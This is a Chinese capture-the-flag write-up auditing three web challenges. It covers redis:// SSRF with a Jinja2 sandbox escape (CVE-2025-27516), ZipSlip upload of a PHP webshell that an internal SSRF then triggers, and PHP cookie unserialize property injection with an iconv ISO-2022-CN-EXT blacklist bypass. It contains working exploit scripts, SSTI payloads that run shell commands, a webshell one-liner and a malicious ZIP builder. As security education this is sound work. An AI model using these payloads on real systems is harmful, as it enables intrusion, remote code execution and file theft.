长城杯半决赛三道 Web—从 redis SSRF、ZipSlip 到 glibc iconv 溢出
长城杯半决赛三道 Web 赛题审计笔记——从 redis SSRF、ZipSlip 到 glibc iconv 溢出
长城杯半决赛三道 Web 赛题审计——从 redis SSRF、ZipSlip 到 glibc iconv 溢出
0x00 写在前面
3 月 22 号打完长城杯半决赛的 AWDP,三道 Web 拿回来重新审了一遍。
比赛的时候时间紧,很多细节根本来不及想。赛后慢慢翻代码,我发现这三题涉及的攻击面都挺有代表性——SSRF 打内网服务、归档解压穿越写 webshell、glibc 底层库溢出——而且每个都能和近一两年的真实 CVE 对上号。所以干脆写详细点。
三题互相独立,技术栈也不一样。简单列一下:
- IntraBadge — Flask + Redis + Jinja2 沙箱渲染。攻击路径:SSRF 读 Redis → Jinja2 沙箱逃逸 → RCE
- easy_time — Flask + Apache/PHP 双服务。攻击路径:Cookie 伪造 → ZipSlip 写 PHP webshell → SSRF 触发执行
- MediaDrive — 纯 PHP。攻击路径:Cookie 反序列化篡改属性 → iconv 编码绕过黑名单 / CVE-2024-2961 堆溢出 → RCE
下面逐个拆。
0x01 IntraBadge — redis:// SSRF + Jinja2 沙箱逃逸
快速过一遍业务
IntraBadge 是个内部工牌系统。用户身份直接从 Cookie 的 user 字段取,过一下 safe_key 正则就当合法用户了:
def _get_user():
return safe_key(request.cookies.get("user", "guest"))
def safe_key(s: str) -> str:
s = (s or "").strip()
if not s:
return "guest"
s = re.sub(r"[^a-zA-Z0-9_\-]", "_", s)[:32]
return s or "guest"没有 session,没有密码校验。safe_key 只是把非字母数字的字符替换成下划线再截断到 32 字符,它做的是"规范化"而不是"鉴权"。你设 Cookie: user=admin 就是 admin,设 user=root 就是 root,系统完全认。
核心功能三块:
- 用户编辑一段 Jinja2 模板,存进 Redis 的
tpl:<user>键,最大 5000 字符 - 用户设一个头像 URL,后端
fetch_resource拉取内容并缓存到 Redis 的avatarbin:<user>键 /preview页面用SandboxedEnvironment渲染用户模板,渲染结果在preview.html中以{{ rendered|safe }}输出——注意这个|safe,它关闭了 Jinja2 的自动转义
这里有个细节值得说一下:SandboxedEnvironment 初始化时设了 autoescape=True,看起来像是做了 XSS 防护。但 preview.html 是服务端模板(不是用户模板),它用 {{ rendered|safe }} 输出用户模板的渲染结果。|safe 标记告诉 Jinja2"这段内容是安全的,不要转义"。所以用户模板里输出的任何 HTML 都会被原样渲染——autoescape=True 在这种场景下等于没设。
SSRF:fetch_resource 支持 redis:// 协议
翻 utils.py 的 fetch_resource,除了常规的 http/https,还有一段 redis:// 协议处理:
if scheme == "redis":
host = u.hostname or "127.0.0.1"
port = u.port or 6379
path = (u.path or "/").lstrip("/")
parts = path.split("/", 1)
db = int(parts[0]) if parts and parts[0].isdigit() else 0
key = parts[1] if len(parts) > 1 else ""
r = redis.Redis(host=host, port=port, db=db, socket_timeout=1)
val = r.get(key) or b""
return val[:200000], "application/octet-stream", {"scheme": "redis", "db": db, "key": key}这段代码解析 redis://host:port/db/key 格式的 URL,用 redis.Redis 客户端直接连接指定的 Redis 实例并执行 GET 命令。hostname 默认 127.0.0.1,port 默认 6379,db 默认 0。也就是说你传一个 redis://127.0.0.1:6379/0/anykey,它就会连本地 Redis 读 anykey 的值。
SSRF 的经典场景中,攻击者通常需要用 Gopher 协议或 CRLF 注入来伪造 Redis 命令。比如通过 gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aSET%0d%0a... 这种方式手工构造 RESP 协议包,技术门槛不低。但这题直接内置了 redis:// 协议支持,用 redis-py 客户端库进行正规的 Redis 通信,连协议走私都不需要——比真实世界中大部分 SSRF 利用都简单。
更值得注意的是,这里的 SSRF 不仅能读 Redis(GET 命令),代码只用了 r.get(key),看上去只有读的能力。但如果我们能控制连接的 Redis 实例(比如通过 DNS rebinding 让 hostname 解析到攻击者控制的恶意 Redis),或者本地 Redis 没设密码且攻击者能通过 SSRF 发送其他命令(比如利用 redis-py 的 pipeline 或 Lua 脚本功能),攻击面会进一步扩大。虽然这道题中这些高级利用不是必需的,但在审计真实项目时,任何一个能连接到 Redis 的 SSRF 都应该被视为高危——因为 Redis 本身就是一个功能丰富的攻击目标(写文件、主从复制加载恶意模块、Lua 脚本等)。
再看头像 URL 的存储逻辑:
@app.post("/avatar")
def avatar_set():
user = _get_user()
url = (request.form.get("avatar_url", "") or "").strip()
rdb.set(f"avatar_url:{user}", url[:2000])
return redirect(url_for("dashboard"))拿到就存,不检查 scheme,不检查格式,不检查目标 IP。全局常量里定义了 ALLOWED_URL_SCHEMES = {'http', 'https'},但 avatar_set 压根没用它。
接下来的 /avatar/refresh 路由会从 Redis 取出 URL 传给 fetch_resource。因为 URL 可以是 redis://,这就打通了一条 SSRF 到内网 Redis 的通道。
利用链:
1. POST /avatar, avatar_url=redis://127.0.0.1:6379/0/flag
→ "redis://127.0.0.1:6379/0/flag" 写入 Redis 键 avatar_url:<user>
2. POST /avatar/refresh
→ 从 Redis 读出 URL → fetch_resource 解析 redis:// scheme
→ 连接本地 Redis,GET flag → 读到的值存入 avatarbin:<user>
3. GET /preview(模板中写 {{ avatar_raw_text() }})
→ 渲染时调用闭包读 avatarbin:<user> → flag 值显示在页面上但这只解决了"读 Redis key"的问题。如果 flag 不在 Redis 里,需要系统命令级别的 RCE,就得打 Jinja2 沙箱了。
Jinja2 沙箱机制深入分析
先搞清楚 SandboxedEnvironment 到底在防什么、怎么防的。
三层防线
Jinja2 沙箱的核心防御逻辑在 jinja2/sandbox.py 中,主要有三层:
第一层:is_internal_attribute(obj, attr)。这个函数拦截对以双下划线开头/结尾的属性的访问——__class__、__subclasses__、__globals__、__code__、__builtins__ 等。经典 SSTI payload 之所以在沙箱下失效,主要就是被这一层挡了。比如 {{ ''.__class__.__mro__[1].__subclasses__() }},访问 __class__ 的时候就会被拦截。
第二层:is_safe_attribute(obj, attr, value)。更细粒度的检查——不仅看属性名,还看属性值。比如它会拦截对 str.format 和 str.format_map 的访问,因为 Python 的 str.format() 可以通过格式化字符串语法({0.__class__})遍历对象属性,是已知的沙箱逃逸向量。
第三层:unsafe_undefined。当属性访问被拦截时,不是抛异常(那会泄露信息),而是返回一个 Undefined 对象。后续对这个对象的任何操作都会得到空值,静默失败。
这三层防御都工作在 SandboxedEnvironment.getattr() 方法里。Jinja2 模板中通过点号(obj.attr)访问属性时,会走 environment.getattr(),三层检查全部生效。
模板上下文中的危险对象
用户模板渲染时,上下文传入了多个变量:
rendered = render_user_template(
tpl,
name=user,
avatar_url=avatar_url,
avatar_ok=avatar_ok,
avatar_ctype=avatar_ctype or "",
avatar_updated=avatar_updated or "",
avatar_size=len(avatar_data),
avatar_raw_text=avatar_raw_text, # ← 闭包函数
avatar_raw_b64=avatar_raw_b64, # ← 闭包函数
)大部分变量是字符串或布尔值,没什么利用价值。但 avatar_raw_text 和 avatar_raw_b64 是闭包函数:
def avatar_raw_text():
try:
return (avatar_data[:2000]).decode("utf-8", "ignore")
except Exception:
return ""为什么闭包函数比字符串危险得多?因为 Python 的函数对象携带了丰富的内部属性:
__globals__:定义该函数时的全局命名空间字典。包含了app.py中所有已导入的模块——os(虽然代码里没显式 import os,但 Flask 内部会导入)、base64、redis、request等__code__:函数的字节码对象,包含常量表、变量名表等__closure__:闭包变量的引用(avatar_data)
如果攻击者能访问 avatar_raw_text.__globals__,就等于拿到了 Python 运行时的完整环境。从 __globals__ 里取 os 模块,调 os.popen(),就是任意命令执行。
在没有沙箱的情况下,payload 很直接:{{ avatar_raw_text.__globals__['os'].popen('id').read() }}。但沙箱的第一层防线会拦截 __globals__ 的访问。
CVE-2025-27516:|attr 过滤器的沙箱绕过
这就是 CVE-2025-27516(影响 Jinja2 < 3.1.6)的突破点。我拉了 Jinja2 的 补丁 commit,改动在 src/jinja2/filters.py 的 do_attr 函数。
漏洞版本的 do_attr
def do_attr(environment, obj, name):
try:
name = str(name)
except UnicodeError:
pass
else:
try:
value = getattr(obj, name) # ← 直接用 Python 原生 getattr
except AttributeError:
pass
else:
if environment.sandboxed:
environment = t.cast("SandboxedEnvironment", environment)
if not environment.is_safe_attribute(obj, name, value):
return environment.unsafe_undefined(obj, name)
return value
return environment.undefined(obj=obj, name=name)Jinja2 模板中访问属性有两种方式:
- 点号语法
obj.attr→ 走environment.getattr(obj, "attr"),沙箱的三层检查全部生效 |attr过滤器obj|attr("attr")→ 走do_attr函数
问题在于 do_attr 的实现。它用 Python 原生的 getattr() 直接获取了属性值,然后才调 is_safe_attribute 做安全检查。乍看之下这没问题——检查不通过就返回 unsafe_undefined。但这里有一个关键的语义差异。
SandboxedEnvironment.getattr() 内部不仅检查属性安全性,还会拦截某些运行时行为——比如当你通过 environment.getattr() 获取 str.format 时,沙箱会返回一个包装过的版本,这个包装版本在被调用时会对格式化字符串的属性访问做安全检查。
但 do_attr 绕过了 environment.getattr(),通过原生 getattr 拿到的是未经包装的原始 format 方法。这个原始 format 方法在被调用时不受沙箱约束,可以自由访问任意属性。
攻击 payload 拆解
补丁附带的测试用例展示了完整的攻击链:
def test_attr_filter(self) -> None:
env = SandboxedEnvironment()
t = env.from_string(
"""{{ "{0.__call__.__builtins__[__import__]}"
| attr("format")(not_here) }}"""
)
with pytest.raises(SecurityError):
t.render()一步步拆:
"{0.__call__.__builtins__[__import__]}"— 这是一个普通的 Python 格式化字符串。{0.xxx}语法会在调用format()时访问第一个参数的xxx属性|attr("format")— 通过|attr过滤器获取字符串的format方法。在漏洞版本中,这会绕过沙箱,拿到原始的str.format(not_here)— 调用format(not_here),not_here是模板上下文中的一个变量。str.format会解析格式化字符串,依次访问not_here.__call__.__builtins__["__import__"]
最终效果:通过格式化字符串的属性遍历能力,在沙箱外访问到了 __builtins__ 中的 __import__ 函数。拿到 __import__ 就可以导入任意模块(比如 os),执行任意命令。
修复后的 do_attr
def do_attr(environment, obj, name):
try:
getattr_static(obj, name) # ← 只检查属性是否存在
except AttributeError:
if not hasattr(obj, name):
return environment.undefined(obj=obj, name=name)
return environment.getattr(obj, name) # ← 走沙箱的属性访问入口修复核心:用 inspect.getattr_static() 做存在性检查(getattr_static 不触发描述符和 __getattr__,只检查类字典),确认属性存在后,通过 environment.getattr() 获取值。这确保了沙箱的所有拦截逻辑(包括 str.format 的运行时包装)对 |attr 过滤器同样生效。
和 CVE-2024-56326 的关系
这不是 Jinja2 沙箱第一次出问题。2024 年底的 CVE-2024-56326(GHSA-q2x7-8rv6-6q7h)也是沙箱突破,同样涉及 format 方法的间接引用。两个漏洞的根因相似——沙箱对属性访问的拦截只在 environment.getattr() 入口上有效,任何绕过这个入口的属性获取方式都可能成为逃逸向量。
连续两个 CVE 说明一个问题:Jinja2 沙箱的设计假设是"所有属性访问都经过 environment.getattr()",但代码中实际存在多条绕过这个假设的路径。如果你的系统允许用户提交模板,哪怕用了 SandboxedEnvironment,也必须锁定版本并持续跟踪安全公告。
在 IntraBadge 中的利用
回到这道题。模板上下文中 avatar_raw_text 是一个闭包函数。如果 Jinja2 版本 < 3.1.6,可以用 |attr 绕过沙箱:
{# 方式 1:直接通过 |attr 访问 __globals__ #}
{{ avatar_raw_text|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")() }}
{# 方式 2:利用 str.format 的属性遍历 #}
{{ "{0.__globals__[os].popen(cat /flag).read()}" | attr("format")(avatar_raw_text) }}方式 1 更直接:|attr("__globals__") 拿到全局命名空间,再用 |attr("__getitem__")("os") 从字典中取出 os 模块,然后 popen 执行命令。
方式 2 利用 str.format 的属性遍历:格式化字符串 {0.__globals__[os]} 会在调用 format(avatar_raw_text) 时,自动沿着 avatar_raw_text.__globals__["os"] 路径取值。
题目的 Dockerfile 里 pip3 install flask werkzeug 没锁版本,利用链是否成立完全取决于构建时 PyPI 上的最新版。在 AWDP 环境中,赛题镜像是固定的,需要先确认 Jinja2 版本。如果版本 ≥ 3.1.6,这条路就堵了,得找其他逃逸向量或者只做到 SSRF 读 Redis。
完整 exploit 脚本
import requests
TARGET = "http://target:5000"
s = requests.Session()
s.cookies.set("user", "admin")
# Step 1: SSRF — 尝试直接从 Redis 读 flag
s.post(f"{TARGET}/avatar", data={"avatar_url": "redis://127.0.0.1:6379/0/flag"})
s.post(f"{TARGET}/avatar/refresh")
# 先试读 Redis
s.post(f"{TARGET}/template", data={"tpl": "{{ avatar_raw_text() }}"})
resp = s.get(f"{TARGET}/preview")
if "flag{" in resp.text:
print("[+] Flag found in Redis!")
print(resp.text)
else:
# Step 2: SSTI 沙箱逃逸 RCE(需要 Jinja2 < 3.1.6)
payload = '{{ avatar_raw_text|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")() }}'
s.post(f"{TARGET}/template", data={"tpl": payload})
resp = s.get(f"{TARGET}/preview")
print(resp.text)0x02 easy_time — ZipSlip + SSRF:安全函数就在隔壁,但没人调用
架构分析
这题的部署架构比较少见——一个容器里用 Supervisor 并行跑两套服务:
- Flask(端口 5000):Python 写的主应用,提供登录、留言板、个人资料、插件 ZIP 上传
- Apache + PHP 8.2(端口 80):静态站,跑了
index.php(hello world)、phpinfo.php、date.php
Docker Compose 配置只把 5000 映射到宿主机,80 端口用 expose 声明但不映射——意味着从容器外部无法直接访问 Apache,只有容器内部(localhost:80)能到达。
这个架构设计其实暗示了攻击路径:你需要在容器内部找到一个方式去触发 Apache 上的 PHP 执行。SSRF 是唯一的桥梁。这种"一个容器跑两个服务,外部只暴露一个"的架构在实际项目中也不少见,尤其是一些遗留系统的容器化迁移中——把原来 Apache + mod_php 的前端和 Flask/Node 的后端塞进同一个容器,用 Supervisor 管理进程。这种架构的安全问题在于:内部服务之间的通信走的是 localhost,没有网络隔离,攻击者一旦拿到其中一个服务的 SSRF 能力,就能访问另一个服务的全部功能。
认证绕过
def is_logged_in() -> bool:
return flask.request.cookies.get("visited") == "yes" and bool(flask.request.cookies.get("user"))认证逻辑极其薄弱——只检查 Cookie 里有没有 visited=yes 和 user 字段,完全不校验 user 的值是否合法、是否对应数据库中的记录。设 Cookie: visited=yes; user=admin 就能以 admin 身份操作所有功能。
代码里确实有一个真正的登录逻辑:用户名 admin + 双重 MD5 哈希校验。但既然鉴权只看 Cookie 里的两个字段,这个密码校验就完全没有意义——你不需要密码。
ZipSlip 详细分析
os.path.join 的路径拼接行为
先说一个很多人不清楚的细节:Python 的 os.path.join 在遇到绝对路径组件时的行为。
>>> os.path.join("/app/plugins/test/", "normal.txt")
'/app/plugins/test/normal.txt' # 正常
>>> os.path.join("/app/plugins/test/", "../../../etc/passwd")
'/app/plugins/test/../../../etc/passwd' # 拼接了,没有解析 ../
>>> os.path.join("/app/plugins/test/", "/etc/passwd")
'/etc/passwd' # 绝对路径直接覆盖!第二种情况:os.path.join 不会解析 ../,只是简单地字符串拼接。但后续的 open() 调用会按照文件系统语义解析 ../,从而实现路径穿越。
第三种情况更极端:如果 ZIP 条目名以 / 开头(绝对路径),os.path.join 会直接用绝对路径覆盖前面的基路径。虽然这道题用的是 ../ 相对穿越,但绝对路径注入也值得注意。
两个解压函数的对比
index.py 里并排放了两个解压函数。安全版 safe_extract_zip:
def safe_extract_zip(zip_path: Path, dest_dir: Path) -> list[str]:
dest_dir = dest_dir.resolve() # 关键:resolve 成绝对路径
extracted = []
with zipfile.ZipFile(zip_path, "r") as zf:
for info in zf.infolist():
name = info.filename.replace("\\", "/")
if name.endswith("/"):
continue
if name.startswith("/") or (len(name) >= 2 and name[1] == ":"):
raise ValueError("Illegal path in zip")
target = (dest_dir / name).resolve() # 关键:resolve 解析 ../
if os.path.commonpath([str(dest_dir), str(target)]) != str(dest_dir):
raise ValueError("ZipSlip blocked") # 关键:检查是否在目标目录内
target.parent.mkdir(parents=True, exist_ok=True)
with zf.open(info, "r") as src, open(target, "wb") as dst:
shutil.copyfileobj(src, dst)
extracted.append(str(target.relative_to(dest_dir)))
return extracted这个函数的防御是教科书级别的:
- 先把目标目录
resolve()成绝对路径 - 拒绝以
/开头或包含盘符(C:)的条目名 - 把
dest_dir / entry_name也resolve(),让文件系统解析掉../ - 用
os.path.commonpath检查解析后的目标路径是否仍然在dest_dir内部
不安全版 safe_upload:
def safe_upload(zip_path: Path, dest_dir: Path) -> list[str]:
with zipfile.ZipFile(zip_path, 'r') as z:
for info in z.infolist():
target = os.path.join(dest_dir, info.filename) # 直接拼接,不 resolve
if info.is_dir():
os.makedirs(target, exist_ok=True)
else:
os.makedirs(os.path.dirname(target), exist_ok=True)
with open(target, 'wb') as f:
f.write(z.read(info.filename)) # 直接写入,不校验路径名字叫 safe_upload,但完全没有路径校验。info.filename 如果是 ../../../etc/crontab,os.path.join 会忠实地拼出穿越路径,os.makedirs 会创建中间目录,open 会写入文件。
上传入口调用的是哪个?
extracted = safe_upload(saved, dest)调了不安全的。safe_extract_zip 在整个项目里一次都没被调用过。
为什么这类错误反复出现
这在实际项目中太常见了。可能的场景:
- 有人写了
safe_extract_zip作为安全加固,提了 PR,Code Review 通过了。但改的人只改了函数定义,忘了把调用点从safe_upload换成safe_extract_zip - 或者反过来——
safe_upload是早期代码,safe_extract_zip是后来加的,但两个函数同时存在,没人做清理 - 又或者两个函数在不同分支上开发,合并时没有冲突(因为它们名字不同),就都留下了
不管是哪种情况,Code Review 时只搜"有没有路径校验的代码"会得到一个肯定的答案——safe_extract_zip 就在那里。但你必须跟着调用链看,才会发现上传入口实际调用的是另一个没有校验的函数。
类似的事情 2024-2025 年在各语言生态中不断重复。dbt-common(GHSA-w75w-9qv4-j5xj) 的路径校验用了 os.path.commonprefix 而不是 os.path.commonpath。这两个函数名字只差几个字母,但语义完全不同:
>>> os.path.commonprefix(["/var/www/html", "/var/www/html_evil"])
'/var/www/html' # 字符串公共前缀 — 错!html_evil 也匹配
>>> os.path.commonpath(["/var/www/html", "/var/www/html_evil"])
'/var/www' # 路径语义的公共祖先 — 对!commonprefix 是按字符做前缀匹配,不理解路径分隔符。/var/www/html 和 /var/www/html_evil 的"公共前缀"是 /var/www/html,这会让路径校验误判 /var/www/html_evil/../../etc/passwd 也在允许范围内。
Go 生态的 mholt/archiver(CVE-2025-3445) 也在 2025 年爆出了归档解压路径穿越。Snyk 维护的 ZipSlip 漏洞数据库里,2024-2025 年依然有稳定的新增条目。ZipSlip 作为漏洞模式不新鲜了,但在不同语言、不同库里还在持续出现。
构造恶意 ZIP
Python 的 zipfile.ZipFile.write() 方法会规范化路径(去掉 ../),但 ZipInfo + writestr 不会——ZipInfo 构造函数直接把你传入的字符串作为条目名写入 ZIP 中央目录:
import zipfile, io
def make_zipslip(entry_name: str, payload: bytes) -> bytes:
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr(zipfile.ZipInfo(entry_name), payload)
return buf.getvalue()
evil = make_zipslip(
"../../../var/www/html/shell.php",
b'<?php system($_GET["cmd"]); ?>'
)
open("evil.zip", "wb").write(evil)解压时的路径解析:
dest_dir = /app/plugins/pluginname-abcd1234/
entry = ../../../var/www/html/shell.php
os.path.join(dest_dir, entry)
= /app/plugins/pluginname-abcd1234/../../../var/www/html/shell.php
= /var/www/html/shell.php (文件系统解析 ../)Docker 文件系统约束
docker-compose.yaml 中设了 read_only: true,可写目录通过 tmpfs 挂载:
read_only: true
tmpfs:
- /tmp:rw,nosuid,nodev,noexec,size=64m
- /app/uploads:rw,nosuid,nodev,noexec,size=128m
- /app/plugins:rw,nosuid,nodev,noexec,size=128m
- /app/static/uploads:rw,nosuid,nodev,noexec,size=128m
- /var/run/apache2:rw,nosuid,nodev,noexec,size=16m
- /var/lock/apache2:rw,nosuid,nodev,noexec,size=16m/var/www/html/ 不在 tmpfs 列表里,理论上是只读的。直接写 webshell 到 Apache docroot 会报 Read-only file system 错误。
但这里有几个需要注意的点:
read_only: true是 docker-compose 层的配置。实际比赛环境如果直接docker build && docker run(不带--read-only),根文件系统完全可写,webshell 直接落地- tmpfs 挂载带了
noexec标志,意味着即使写入了可执行文件,也不能通过exec系统调用执行。但 PHP 的system()和shell_exec()调的是/bin/sh(不在 tmpfs 上),webshell 本身只是被 Apache 的 PHP 模块解释执行,不需要noexec权限 /app/plugins/是可写 tmpfs,这是 ZipSlip 的起点目录。穿越出去能到哪里,取决于目标路径是否可写
实际 AWDP 环境中,最可能的情况是 webshell 可以成功写入 /var/www/html/。
SSRF 引爆 webshell
webshell 落地了,但 Apache 的 80 端口只在容器内部可达。需要从 Flask 应用发起一个到 localhost:80 的 HTTP 请求来触发 PHP 执行。
Flask 应用的 /about 路由提供了远程头像信息获取功能:
def fetch_remote_avatar_info(url: str):
if not url:
return None
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in {"http", "https"}:
return None
if not parsed.hostname:
return None
req = urllib.request.Request(url, method="GET", headers={"User-Agent": "question-app/1.0"})
try:
with urllib.request.urlopen(req, timeout=3) as resp:
content = resp.read()
return {
"content_snippet": content, # ← 完整响应体,不截断
"status": getattr(resp, "status", None),
"content_type": resp.headers.get("Content-Type", ""),
"content_length": resp.headers.get("Content-Length", ""),
}
except Exception:
return None这个函数有两个问题。第一,content_snippet 字段名暗示应该只返回片段,但实际上 resp.read() 读了完整响应体——命令执行的输出可以完整带回。第二,也是更关键的——它不做任何内网 IP 过滤。
代码里存在一个完善的 _host_is_public 函数:
def _host_is_public(hostname: str) -> bool:
lowered = (hostname or "").lower()
if lowered in {"localhost", "localhost.localdomain"}:
return False
try:
addrinfos = socket.getaddrinfo(hostname, None)
except OSError:
return False
ips = {ai[4][0] for ai in addrinfos if ai and ai[4]}
if not ips:
return False
for ip_str in ips:
ip_obj = ipaddress.ip_address(ip_str)
if (ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local
or ip_obj.is_multicast or ip_obj.is_reserved):
return False
return True这个函数做了完整的内网 IP 检测——loopback、private、link-local、multicast、reserved 全拦。但和 safe_extract_zip 一样,它在整个项目中没有被调用过。fetch_remote_avatar_info 直接用 urlopen 请求用户提交的 URL,不经过任何过滤。
模板 about.html 里直接输出了响应体:
<code>len={{ remote_info.content_snippet or '?' }}</code>所以攻击者设 avatar_url=http://127.0.0.1/shell.php?cmd=cat+/flag,Flask 进程从容器内部请求 localhost:80,Apache 执行 PHP webshell,命令输出通过 content_snippet 字段回显到页面上。
完整 exploit 脚本
import requests, zipfile, io
TARGET = "http://target:5000"
s = requests.Session()
s.cookies.set("visited", "yes")
s.cookies.set("user", "admin")
# Step 1: 构造 ZipSlip 恶意 ZIP
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
zf.writestr(
zipfile.ZipInfo("../../../var/www/html/shell.php"),
b'<?php system($_GET["cmd"]); ?>'
)
buf.seek(0)
# Step 2: 上传触发 ZipSlip
resp = s.post(f"{TARGET}/plugin/upload", files={"plugin": ("evil.zip", buf, "application/zip")})
print(f"[*] Upload response: {resp.status_code}")
# Step 3: SSRF 触发 webshell
cmd = "cat /flag"
s.post(f"{TARGET}/about", data={
"about": "test",
"avatar_url": f"http://127.0.0.1/shell.php?cmd={cmd}"
})
# Step 4: 读取回显
resp = s.get(f"{TARGET}/about")
print(resp.text)0x03 MediaDrive — PHP 反序列化 + iconv 堆溢出
这道题的技术纵深最大。表面上是个文件管理系统,底下藏着从 PHP unserialize 到 glibc 堆溢出的完整攻击链。我会把 iconv 的编码绕过和 CVE-2024-2961 的堆利用都展开讲。
Cookie 反序列化:控制一切属性
每个 PHP 页面开头都是同一段模式:
$user = null;
if (isset($_COOKIE['user'])) {
$user = @unserialize($_COOKIE['user']);
}
if (!$user instanceof User) {
$user = new User("guest");
setcookie("user", serialize($user), time() + 86400, "/");
}直接 unserialize Cookie 输入。@ 抑制了错误输出,instanceof 检查确保反序列化结果是 User 类的实例。来看 User 类:
class User {
public string $name = "guest";
public string $encoding = "UTF-8";
public string $basePath = "/var/www/html/uploads/";
public function __construct(string $name = "guest") {
$this->name = $name;
}
}三个 public 属性。没有 __wakeup、__destruct、__toString 等魔术方法——排除了经典 POP 链的可能性。很多人审计 PHP 反序列化时只找 POP 链,找不到就认为"没有利用点"。但这是一个常见的误区。unserialize 的危险不只是 POP 链——当类的属性在后续业务逻辑中被用于安全敏感的操作时,直接控制属性值本身就足以构成严重漏洞。
在这道题中,basePath 决定了文件操作的基目录,encoding 决定了 iconv 的源编码。这两个属性分别影响了文件读取的路径构造和编码转换的行为——都是安全关键参数。攻击者不需要执行任何魔术方法,只要在 Cookie 中构造一个包含恶意属性值的序列化字符串,就能改变整个应用的文件访问行为。这类漏洞有时被称为"属性注入"(Property Injection),虽然不如 POP 链那么引人注目,但在实际危害上可能同样严重。
构造恶意 Cookie:
O:4:"User":3:{s:4:"name";s:5:"admin";s:8:"encoding";s:18:"ISO-2022-CN-EXT";s:8:"basePath";s:1:"/";}这把 basePath 改成了 /(根目录),encoding 改成了 ISO-2022-CN-EXT。instanceof User 检查仍然通过,因为反序列化的确实是 User 对象。
preview.php 与 download.php 的攻击面差异
题目有两个文件处理入口,它们的安全模型完全不同。
preview.php 的逻辑
$rawPath = $user->basePath . $f; // basePath 来自 Cookie,可控
if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) {
http_response_code(403);
echo "Access denied";
exit;
}
$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
$content = @file_get_contents($convertedPath);关键点:
$rawPath由可控的$user->basePath和 GET 参数$f拼接。通过反序列化把basePath改成/,$rawPath就变成了/ + $f,可以指向文件系统的任意位置- 正则黑名单检查的是
$rawPath(iconv 转换之前的值),但file_get_contents读的是$convertedPath(转换之后的值) iconv的 source encoding 是$user->encoding(可控),target 是"UTF-8//IGNORE"
//IGNORE 标志意味着:遇到无法转换的字符时,静默丢弃而不报错。这给了攻击者一个操作空间——在路径中插入经过编码转换后会被丢弃的字节,使转换前不触发黑名单、转换后还原成目标路径。
download.php 的逻辑
$uploadsDir = "/var/www/html/uploads/";
$path = $uploadsDir . $f;
$path = @iconv($user->encoding, "UTF-8//IGNORE", $path);
$real = realpath($path);
$uploadsReal = realpath($uploadsDir);
if ($real === false || $uploadsReal === false ||
strpos($real . DIRECTORY_SEPARATOR, $uploadsReal . DIRECTORY_SEPARATOR) !== 0) {
http_response_code(404);
exit;
}download.php 的 $uploadsDir 是硬编码的,不用 $user->basePath——这比 preview.php 健壮。realpath 解析所有符号链接和 ../,strpos 前缀检查确保最终路径确实在 uploads 目录内。
但 iconv 调用仍然存在,而且 $user->encoding 仍然可控。这意味着 CVE-2024-2961 的堆溢出攻击面在 download.php 上同样有效——不需要绕过路径校验,只需要触发 iconv 的缓冲区溢出。
iconv 编码绕过:ISO-2022-CN-EXT 状态机详解
profile.php 的编码白名单:
$allowed = ["UTF-8", "GBK", "BIG5", "ISO-2022-CN-EXT"];ISO-2022-CN-EXT 在现代系统中几乎没有正当用途。它是 ISO 2022 编码族的成员,基于转义序列切换字符集的设计哲学,和 UTF-8 这种自同步编码完全不同。它出现在白名单里,就是在暗示这道题的核心考点。
ISO-2022 编码的状态机模型
理解 ISO-2022 系列编码对于这道题的两条利用路径(逻辑绕过 + 堆溢出)都至关重要。
ISO-2022 定义了四个"字符集槽位":G0、G1、G2、G3。每个槽位可以装载不同的字符集。编码状态通过转义序列来切换:
装载字符集到槽位:
\x1b$)A— 将 GB2312 装载到 G1\x1b$)G— 将 CNS 11643 平面 1 装载到 G1\x1b$*H— 将 CNS 11643 平面 2 装载到 G2\x1b$+I到\x1b$+M— 将 CNS 11643 平面 3-7 装载到 G3
调用(切换到某个槽位的字符集):
\x0e(SO,Shift Out)— 切换到 G1,后续字节按 G1 中装载的字符集解释(通常是双字节)\x0f(SI,Shift In)— 切换回 G0/ASCII\x1bN(SS2)— 单次调用 G2,仅对下一个字符生效,然后自动回到之前的状态\x1bO(SS3)— 单次调用 G3,仅对下一个字符生效
正常流程示例:
\x1b$)A ← 装载 GB2312 到 G1
\x0e ← 切换到 G1(进入双字节模式)
\xc4\xe3 ← 两个字节组成一个 GB2312 字符 "你"
\x0f ← 切回 ASCII
hello ← 正常 ASCII 文本关键在于:处于双字节模式(G1 激活)时,连续的两个字节被视为一个字符。这意味着 ASCII 字符的字节值(比如 . = 0x2e)可以被"吞入"前一个双字节字符的低字节位置,不再被当成独立的 ASCII 字符。
利用编码状态机绕过黑名单
preview.php 的黑名单拦截 ..(两个连续的 0x2e)、flag、php: 等关键字。绕过思路:
- 通过反序列化把
encoding设为ISO-2022-CN-EXT - 在路径中插入 GB2312 切换序列,让
..中的一个.被吞入双字节字符 iconv转换时,无效的双字节字符被//IGNORE丢弃,剩余字节重新拼合
具体构造:
原始路径(rawPath):
/<basePath> \x1b$)A \x0e \xXX\x2e \x0f ./ flag
字节分析:
\x1b$)A → 装载 GB2312 到 G1(对黑名单检查透明)
\x0e → 切换到双字节模式
\xXX\x2e → \xXX 和 0x2e(.) 组成一个双字节 GB2312 字符
\x0f → 切回 ASCII
./flag → 正常 ASCII
黑名单看到的 rawPath:
不包含连续的 ".."(其中一个 . 被编码进了双字节字符)
不包含 "/flag"(因为 flag 前面是 "./")
→ 通过黑名单检查
iconv 转换后:
GB2312 双字节字符 \xXX\x2e 在目标编码 UTF-8 中可能无对应映射
→ //IGNORE 丢弃这个字符
→ 剩余部分拼合成 "/./" + "flag" = "/./flag"
→ file_get_contents 读到 /flag实际构造中需要精心选择 \xXX 的值,确保 \xXX\x2e 不是一个合法的 GB2312 字符(否则 iconv 会正常转换而不是丢弃)。GB2312 的双字节字符范围是第一字节 0xA1-0xFE、第二字节 0xA1-0xFE,所以如果第一字节选在 0x80-0xA0 之间,\xXX\x2e 就是一个无效的 GB2312 字符对,会被 //IGNORE 丢弃。
